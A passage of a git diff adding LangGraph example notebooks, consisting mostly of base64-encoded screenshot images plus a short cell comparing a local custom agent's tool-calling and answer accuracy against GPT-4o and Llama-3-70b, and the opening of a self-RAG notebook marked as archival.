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" + } + }, + "cell_type": "markdown", + "id": "47c38cd3-2c31-48c4-8281-bd9e1f7b2830", + "metadata": {}, + "source": [ + "We can see the results benchmarked against `GPT-4o` and `Llama-3-70b` using `Custom` agent (as shown here) and ReAct.\n", + "\n", + "![Screenshot 2024-06-24 at 4.14.04 PM.png](attachment:80e86604-7734-4aeb-a200-d1413870c3cb.png)\n", + "\n", + "The `local custom agent` performs well in terms of tool calling reliability: it follows the expected reasoning traces.\n", + "\n", + "However, the answer accuracy performance lags the larger models with `custom agent` implementations." + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_self_rag.ipynb b/examples/rag/langgraph_self_rag.ipynb new file mode 100644 index 0000000..2375130 --- /dev/null +++ b/examples/rag/langgraph_self_rag.ipynb @@ -0,0 +1,800 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "b3d959ff", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "15cba0ab-a549-4909-8373-fb761e384eff.png": { + "image/png": "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